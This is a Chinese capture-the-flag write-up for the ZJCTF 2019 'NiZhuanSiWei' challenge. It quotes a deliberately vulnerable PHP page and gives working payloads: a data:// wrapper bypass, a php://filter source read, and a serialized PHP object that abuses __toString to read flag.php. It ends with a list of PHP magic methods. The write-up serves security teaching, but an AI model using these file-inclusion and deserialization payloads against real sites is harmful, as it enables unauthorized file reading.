Title

[ZJCTF 2019]NiZhuanSiWei 1

考察知识点:反序列化、php伪协议

1、打开之后获得源码信息,如下:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

2、分析源码信息,可以得到我们首先需要通过text参数绕过绕过第一个判断,即:file_get_contents($text,'r')==="welcome to the zjctf",这里我们采用data://text/plain,welcome to the zjctf来实现绕过,结果如下:

payload:?text=data://text/plain,welcome to the zjctf

 

3、观察file参数处useless.php的提示,那就读取下useless.php文件信息,此处采用php://filter/read=convert.base64-encode/resource=useless.php,结果如下:

payload:?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

4、根据获得加密信息进行base64解密,获得代码信息,结果如下:

加密代码:PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

5、__tostring函数在类被echo、print等输出时会被调用,因为源代码中echo $password,所以这里给password传递序列换字符串,结果如下:

<?php
    class Flag
    {  
        public $file='flag.php';
    }
    $a=new Flag;
    echo serialize($a) ;
?>
payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

6、提交payload后在返回界面检查源代码信息,成功获取flag,如下:

 

7、附上常用的魔术方法调用时间:

__construct(),构造函数时

__destruct(),析构函数时

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

 

posted @ 2022-07-13 23:18  upfine  阅读(225)  评论(0编辑  收藏  举报